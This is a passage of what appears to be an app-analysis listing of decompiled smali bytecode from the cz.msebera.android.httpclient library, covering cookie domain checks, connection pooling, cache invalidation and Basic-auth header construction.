        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        Strings
        • Cookie
        • .
        • Blank value for domain attribute
        • Missing value for domain attribute
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        3}
        4.end annotation
        6const-string v0, "Cookie"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        9if-eqz p2, :cond_3c
        11invoke-virtual {p2}, Ljava/lang/String;->trim()Ljava/lang/String;
        12move-result-object v0
        14invoke-virtual {v0}, Ljava/lang/String;->length()I
        15move-result v0
        16if-eqz v0, :cond_34
        18sget-object v0, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        20invoke-virtual {p2, v0}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        21move-result-object v0
        23const-string v1, "."
        25invoke-virtual {p2, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        26move-result p2
        27if-nez p2, :cond_30
        28new-instance p2, Ljava/lang/StringBuilder;
        30invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        31const/16 v1, 0x2e
        33invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        35invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        37invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        38move-result-object v0
        39cond_30:
        40invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/cookie/SetCookie;->setDomain(Ljava/lang/String;)V
        41return-void
        42cond_34: new-instance p1, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        44const-string p2, "Blank value for domain attribute"
        46invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        47throw p1
        48cond_3c: new-instance p1, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        50const-string p2, "Missing value for domain attribute"
        52invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        53throw p1
        Cross References
        APIs
        • java.util.LinkedList.size
        • java.util.LinkedList.add
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IllegalStateException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IllegalStateException.<init>
        Strings
        • No entry allocated from this pool.
        • No entry created for this pool.
        Position Instruction Meta Information
        0iget v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->numEntries:I
        1const/4 v1, 0x1
        2if-lt v0, v1, :cond_2e
        3iget v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->numEntries:I
        5iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->freeEntries:Ljava/util/LinkedList;
        7invoke-virtual {v1}, Ljava/util/LinkedList;->size()I
        8move-result v1
        9if-le v0, v1, :cond_15
        11iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->freeEntries:Ljava/util/LinkedList;
        13invoke-virtual {v0, p1}, Ljava/util/LinkedList;->add(Ljava/lang/Object;)Z
        14return-void
        15cond_15: new-instance p1, Ljava/lang/IllegalStateException;
        16new-instance v0, Ljava/lang/StringBuilder;
        18invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        20const-string v1, "No entry allocated from this pool. "
        22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        24iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->route:Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        26invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        28invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        29move-result-object v0
        31invoke-direct {p1, v0}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
        32throw p1
        33cond_2e: new-instance p1, Ljava/lang/IllegalStateException;
        34new-instance v0, Ljava/lang/StringBuilder;
        36invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        38const-string v1, "No entry created for this pool. "
        40invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        42iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->route:Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        44invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        46invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        47move-result-object v0
        49invoke-direct {p1, v0}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
        50throw p1
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [entry creationTimeInNanos=
        • ;
        • key=
        • ; errorCount=
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[entry creationTimeInNanos="
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        7iget-wide v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/FailureCacheValue;->creationTimeInNanos:J
        9invoke-virtual {v0, v1, v2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        11const-string v1, "; "
        13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        15const-string v1, "key="
        17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        19iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/FailureCacheValue;->key:Ljava/lang/String;
        21invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        23const-string v1, "; errorCount="
        25invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        26iget v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/FailureCacheValue;->errorCount:I
        28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        29const/16 v1, 0x5d
        31invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        33invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        34move-result-object v0
        35return-object v0
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.getBytes
        Strings
        • Content-Disposition: form-data; name=\"
        • \"
        • ; filename=\"
        • \r\n
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "Content-Disposition: form-data; name=\""
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        8invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        10const-string p1, "\""
        12invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        14const-string p1, "; filename=\""
        16invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        18invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        20const-string p1, "\""
        22invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        24const-string p1, "\r\n"
        26invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        28invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        29move-result-object p1
        31invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
        32move-result-object p1
        33return-object p1
        APIs
        • java.util.concurrent.locks.Lock.lock
        • java.util.LinkedList.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map.values
        • java.util.Collection.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map.clear
        • java.util.Set.clear
        • java.util.LinkedList.clear
        • java.util.concurrent.locks.Lock.unlock
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5iget-boolean v0, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->isShutDown:Z
        6if-eqz v0, :cond_5
        7return-void
        8cond_5: const/4 v0, 0x1
        9iput-boolean v0, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->isShutDown:Z
        11iget-object v0, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->lock:Ljava/util/concurrent/locks/Lock;
        13invoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->lock()V
        14try_start_d:
        15iget-object v0, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->available:Ljava/util/LinkedList;
        17invoke-virtual {v0}, Ljava/util/LinkedList;->iterator()Ljava/util/Iterator;
        18move-result-object v0
        19goto_13:
        20invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
        21move-result v1
        22if-eqz v1, :cond_23
        24invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        25move-result-object v1
        26check-cast v1, Lcz/msebera/android/httpclient/pool/PoolEntry;
        28invoke-virtual {v1}, Lcz/msebera/android/httpclient/pool/PoolEntry;->close()V
        29goto/16 :goto_13
        30cond_23:
        31iget-object v0, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->leased:Ljava/util/Set;
        33invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        34move-result-object v0
        35goto_29:
        36invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
        37move-result v1
        38if-eqz v1, :cond_39
        40invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        41move-result-object v1
        42check-cast v1, Lcz/msebera/android/httpclient/pool/PoolEntry;
        44invoke-virtual {v1}, Lcz/msebera/android/httpclient/pool/PoolEntry;->close()V
        45goto/16 :goto_29
        46cond_39:
        47iget-object v0, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->routeToPool:Ljava/util/Map;
        49invoke-interface {v0}, Ljava/util/Map;->values()Ljava/util/Collection;
        50move-result-object v0
        52invoke-interface {v0}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
        53move-result-object v0
        54goto_43:
        55invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
        56move-result v1
        57if-eqz v1, :cond_53
        59invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        60move-result-object v1
        61check-cast v1, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;
        63invoke-virtual {v1}, Lcz/msebera/android/httpclient/pool/RouteSpecificPool;->shutdown()V
        64goto/16 :goto_43
        65cond_53:
        66iget-object v0, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->routeToPool:Ljava/util/Map;
        68invoke-interface {v0}, Ljava/util/Map;->clear()V
        70iget-object v0, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->leased:Ljava/util/Set;
        72invoke-interface {v0}, Ljava/util/Set;->clear()V
        74iget-object v0, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->available:Ljava/util/LinkedList;
        76invoke-virtual {v0}, Ljava/util/LinkedList;->clear()V
        77try_end_62:
        78iget-object v0, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->lock:Ljava/util/concurrent/locks/Lock;
        80invoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->unlock()V
        81return-void
        82catchall_68: move-exception v0
        84iget-object v1, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->lock:Ljava/util/concurrent/locks/Lock;
        86invoke-interface {v1}, Ljava/util/concurrent/locks/Lock;->unlock()V
        87throw v0
        Cross References
        APIs
        • java.nio.charset.Charset.newDecoder
        • java.nio.charset.CharsetDecoder.onMalformedInput
        • java.nio.charset.CharsetDecoder.onUnmappableCharacter
        • java.nio.charset.Charset.newEncoder
        • java.nio.charset.CharsetEncoder.onMalformedInput
        • java.nio.charset.CharsetEncoder.onUnmappableCharacter
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.util.concurrent.atomic.AtomicLong.getAndIncrement
        • java.lang.Long.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • http-outgoing-
        Position Instruction Meta Information
        0move-object/from16 v0, p0
        1if-eqz p2, :cond_7
        2move-object/from16 v1, p2
        3goto/16 :goto_9
        4cond_7:
        5sget-object v1, Lcz/msebera/android/httpclient/config/ConnectionConfig;->DEFAULT:Lcz/msebera/android/httpclient/config/ConnectionConfig;
        6goto_9:
        7invoke-virtual {v1}, Lcz/msebera/android/httpclient/config/ConnectionConfig;->getCharset()Ljava/nio/charset/Charset;
        8move-result-object v2
        10invoke-virtual {v1}, Lcz/msebera/android/httpclient/config/ConnectionConfig;->getMalformedInputAction()Ljava/nio/charset/CodingErrorAction;
        11move-result-object v3
        12if-eqz v3, :cond_18
        14invoke-virtual {v1}, Lcz/msebera/android/httpclient/config/ConnectionConfig;->getMalformedInputAction()Ljava/nio/charset/CodingErrorAction;
        15move-result-object v3
        16goto/16 :goto_1a
        17cond_18:
        18sget-object v3, Ljava/nio/charset/CodingErrorAction;->REPORT:Ljava/nio/charset/CodingErrorAction;
        19goto_1a:
        20invoke-virtual {v1}, Lcz/msebera/android/httpclient/config/ConnectionConfig;->getUnmappableInputAction()Ljava/nio/charset/CodingErrorAction;
        21move-result-object v4
        22if-eqz v4, :cond_25
        24invoke-virtual {v1}, Lcz/msebera/android/httpclient/config/ConnectionConfig;->getUnmappableInputAction()Ljava/nio/charset/CodingErrorAction;
        25move-result-object v4
        26goto/16 :goto_27
        27cond_25:
        28sget-object v4, Ljava/nio/charset/CodingErrorAction;->REPORT:Ljava/nio/charset/CodingErrorAction;
        29goto_27: const/4 v5, 0x0
        30if-eqz v2, :cond_41
        32invoke-virtual {v2}, Ljava/nio/charset/Charset;->newDecoder()Ljava/nio/charset/CharsetDecoder;
        33move-result-object v5
        35invoke-virtual {v5, v3}, Ljava/nio/charset/CharsetDecoder;->onMalformedInput(Ljava/nio/charset/CodingErrorAction;)Ljava/nio/charset/CharsetDecoder;
        37invoke-virtual {v5, v4}, Ljava/nio/charset/CharsetDecoder;->onUnmappableCharacter(Ljava/nio/charset/CodingErrorAction;)Ljava/nio/charset/CharsetDecoder;
        39invoke-virtual {v2}, Ljava/nio/charset/Charset;->newEncoder()Ljava/nio/charset/CharsetEncoder;
        40move-result-object v2
        42invoke-virtual {v2, v3}, Ljava/nio/charset/CharsetEncoder;->onMalformedInput(Ljava/nio/charset/CodingErrorAction;)Ljava/nio/charset/CharsetEncoder;
        44invoke-virtual {v2, v4}, Ljava/nio/charset/CharsetEncoder;->onUnmappableCharacter(Ljava/nio/charset/CodingErrorAction;)Ljava/nio/charset/CharsetEncoder;
        45move-object v14, v2
        46move-object v13, v5
        47goto/16 :goto_43
        48cond_41: move-object v13, v5
        49move-object v14, v13
        50goto_43: new-instance v2, Ljava/lang/StringBuilder;
        52invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        54const-string v3, "http-outgoing-"
        56invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        58sget-object v3, Lcz/msebera/android/httpclient/impl/conn/ManagedHttpClientConnectionFactory;->COUNTER:Ljava/util/concurrent/atomic/AtomicLong;
        60invoke-virtual {v3}, Ljava/util/concurrent/atomic/AtomicLong;->getAndIncrement()J
        61move-result-wide v3
        63invoke-static {v3, v4}, Ljava/lang/Long;->toString(J)Ljava/lang/String;
        64move-result-object v3
        66invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        68invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        69move-result-object v7
        70new-instance v2, Lcz/msebera/android/httpclient/impl/conn/LoggingManagedHttpClientConnection;
        72iget-object v8, v0, Lcz/msebera/android/httpclient/impl/conn/ManagedHttpClientConnectionFactory;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        74iget-object v9, v0, Lcz/msebera/android/httpclient/impl/conn/ManagedHttpClientConnectionFactory;->headerlog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        76iget-object v10, v0, Lcz/msebera/android/httpclient/impl/conn/ManagedHttpClientConnectionFactory;->wirelog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        78invoke-virtual {v1}, Lcz/msebera/android/httpclient/config/ConnectionConfig;->getBufferSize()I
        79move-result v11
        81invoke-virtual {v1}, Lcz/msebera/android/httpclient/config/ConnectionConfig;->getFragmentSizeHint()I
        82move-result v12
        84invoke-virtual {v1}, Lcz/msebera/android/httpclient/config/ConnectionConfig;->getMessageConstraints()Lcz/msebera/android/httpclient/config/MessageConstraints;
        85move-result-object v15
        86const/16 v16, 0x0
        87const/16 v17, 0x0
        89iget-object v1, v0, Lcz/msebera/android/httpclient/impl/conn/ManagedHttpClientConnectionFactory;->requestWriterFactory:Lcz/msebera/android/httpclient/io/HttpMessageWriterFactory;
        91iget-object v3, v0, Lcz/msebera/android/httpclient/impl/conn/ManagedHttpClientConnectionFactory;->responseParserFactory:Lcz/msebera/android/httpclient/io/HttpMessageParserFactory;
        92move-object v6, v2
        93move-object/from16 v18, v1
        94move-object/from16 v19, v3
        96invoke-direct/range {v6 .. v19}, Lcz/msebera/android/httpclient/impl/conn/LoggingManagedHttpClientConnection;-><init>(Ljava/lang/String;Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;IILjava/nio/charset/CharsetDecoder;Ljava/nio/charset/CharsetEncoder;Lcz/msebera/android/httpclient/config/MessageConstraints;Lcz/msebera/android/httpclient/entity/ContentLengthStrategy;Lcz/msebera/android/httpclient/entity/ContentLengthStrategy;Lcz/msebera/android/httpclient/io/HttpMessageWriterFactory;Lcz/msebera/android/httpclient/io/HttpMessageParserFactory;)V
        97return-object v2
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Map.values
        • java.util.Collection.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        Strings
        • Request should not be cached
        • parent entry:
        • Couldn\'t transform request into valid URL
        • Content-Location
        • Location
        Position Instruction Meta Information
        1invoke-virtual {p0, p2}, Lcz/msebera/android/httpclient/impl/client/cache/CacheInvalidator;->requestShouldNotBeCached(Lcz/msebera/android/httpclient/HttpRequest;)Z
        2move-result v0
        3if-eqz v0, :cond_80
        5iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheInvalidator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        7const-string v1, "Request should not be cached"
        9invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        11iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheInvalidator;->cacheKeyGenerator:Lcz/msebera/android/httpclient/impl/client/cache/CacheKeyGenerator;
        13invoke-virtual {v0, p1, p2}, Lcz/msebera/android/httpclient/impl/client/cache/CacheKeyGenerator;->getURI(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpRequest;)Ljava/lang/String;
        14move-result-object p1
        16invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/impl/client/cache/CacheInvalidator;->getEntry(Ljava/lang/String;)Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;
        17move-result-object v0
        19iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheInvalidator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        20new-instance v2, Ljava/lang/StringBuilder;
        22invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        24const-string v3, "parent entry: "
        26invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        28invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        30invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        31move-result-object v2
        33invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        34if-eqz v0, :cond_4e
        36invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;->getVariantMap()Ljava/util/Map;
        37move-result-object v0
        39invoke-interface {v0}, Ljava/util/Map;->values()Ljava/util/Collection;
        40move-result-object v0
        42invoke-interface {v0}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
        43move-result-object v0
        44goto_3b:
        45invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
        46move-result v1
        47if-eqz v1, :cond_4b
        49invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        50move-result-object v1
        51check-cast v1, Ljava/lang/String;
        53invoke-direct {p0, v1}, Lcz/msebera/android/httpclient/impl/client/cache/CacheInvalidator;->flushEntry(Ljava/lang/String;)V
        54goto/16 :goto_3b
        55cond_4b:
        56invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/impl/client/cache/CacheInvalidator;->flushEntry(Ljava/lang/String;)V
        57cond_4e:
        58invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/impl/client/cache/CacheInvalidator;->getAbsoluteURL(Ljava/lang/String;)Ljava/net/URL;
        59move-result-object p1
        60if-nez p1, :cond_5c
        62iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheInvalidator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        64const-string p2, "Couldn\'t transform request into valid URL"
        66invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->error(Ljava/lang/Object;)V
        67return-void
        68cond_5c:
        69const-string v0, "Content-Location"
        71invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/HttpRequest;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        72move-result-object v0
        73if-eqz v0, :cond_71
        75invoke-interface {v0}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        76move-result-object v0
        78invoke-virtual {p0, p1, v0}, Lcz/msebera/android/httpclient/impl/client/cache/CacheInvalidator;->flushAbsoluteUriFromSameHost(Ljava/net/URL;Ljava/lang/String;)Z
        79move-result v1
        80if-nez v1, :cond_71
        82invoke-virtual {p0, p1, v0}, Lcz/msebera/android/httpclient/impl/client/cache/CacheInvalidator;->flushRelativeUriFromSameHost(Ljava/net/URL;Ljava/lang/String;)V
        83cond_71:
        84const-string v0, "Location"
        86invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/HttpRequest;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        87move-result-object p2
        88if-eqz p2, :cond_80
        90invoke-interface {p2}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        91move-result-object p2
        93invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/impl/client/cache/CacheInvalidator;->flushAbsoluteUriFromSameHost(Ljava/net/URL;Ljava/lang/String;)Z
        94cond_80: return-void
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.security.Principal.getName
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Credentials
        • HTTP request
        • :
        • null
        • Proxy-Authorization
        • Authorization
        • : Basic
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/auth/AuthenticationException;
        3}
        4.end annotation
        6const-string p3, "Credentials"
        8invoke-static {p1, p3}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string p3, "HTTP request"
        12invoke-static {p2, p3}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        13new-instance p3, Ljava/lang/StringBuilder;
        15invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        17invoke-interface {p1}, Lcz/msebera/android/httpclient/auth/Credentials;->getUserPrincipal()Ljava/security/Principal;
        18move-result-object v0
        20invoke-interface {v0}, Ljava/security/Principal;->getName()Ljava/lang/String;
        21move-result-object v0
        23invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        25const-string v0, ":"
        27invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        29invoke-interface {p1}, Lcz/msebera/android/httpclient/auth/Credentials;->getPassword()Ljava/lang/String;
        30move-result-object v0
        31if-nez v0, :cond_28
        33const-string p1, "null"
        34goto/16 :goto_2c
        35cond_28:
        36invoke-interface {p1}, Lcz/msebera/android/httpclient/auth/Credentials;->getPassword()Ljava/lang/String;
        37move-result-object p1
        38goto_2c:
        39invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        41invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        42move-result-object p1
        44invoke-virtual {p0, p2}, Lcz/msebera/android/httpclient/impl/auth/BasicScheme;->getCredentialsCharset(Lcz/msebera/android/httpclient/HttpRequest;)Ljava/lang/String;
        45move-result-object p2
        47invoke-static {p1, p2}, Lcz/msebera/android/httpclient/util/EncodingUtils;->getBytes(Ljava/lang/String;Ljava/lang/String;)[B
        48move-result-object p1
        49const/4 p2, 0x2
        51invoke-static {p1, p2}, Lcz/msebera/android/httpclient/extras/Base64;->encode([BI)[B
        52move-result-object p1
        53new-instance p2, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        54const/16 p3, 0x20
        56invoke-direct {p2, p3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;-><init>(I)V
        58invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/auth/BasicScheme;->isProxy()Z
        59move-result p3
        60if-eqz p3, :cond_53
        62const-string p3, "Proxy-Authorization"
        64invoke-virtual {p2, p3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        65goto/16 :goto_58
        66cond_53:
        67const-string p3, "Authorization"
        69invoke-virtual {p2, p3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        70goto_58:
        71const-string p3, ": Basic "
        73invoke-virtual {p2, p3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        74const/4 p3, 0x0
        75array-length v0, p1
        77invoke-virtual {p2, p1, p3, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append([BII)V
        78new-instance p1, Lcz/msebera/android/httpclient/message/BufferedHeader;
        80invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/message/BufferedHeader;-><init>(Lcz/msebera/android/httpclient/util/CharArrayBuffer;)V
        81return-object p1
        APIs
        • java.lang.StringBuilder.<init>
        • java.security.Principal.getName
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Credentials
        • charset
        • :
        • null
        • Proxy-Authorization
        • Authorization
        • : Basic
        Position Instruction Meta Information
        0.annotation runtime Ljava/lang/Deprecated;
        1.end annotation
        3const-string v0, "Credentials"
        5invoke-static {p0, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        7const-string v0, "charset"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10new-instance v0, Ljava/lang/StringBuilder;
        12invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        14invoke-interface {p0}, Lcz/msebera/android/httpclient/auth/Credentials;->getUserPrincipal()Ljava/security/Principal;
        15move-result-object v1
        17invoke-interface {v1}, Ljava/security/Principal;->getName()Ljava/lang/String;
        18move-result-object v1
        20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        22const-string v1, ":"
        24invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
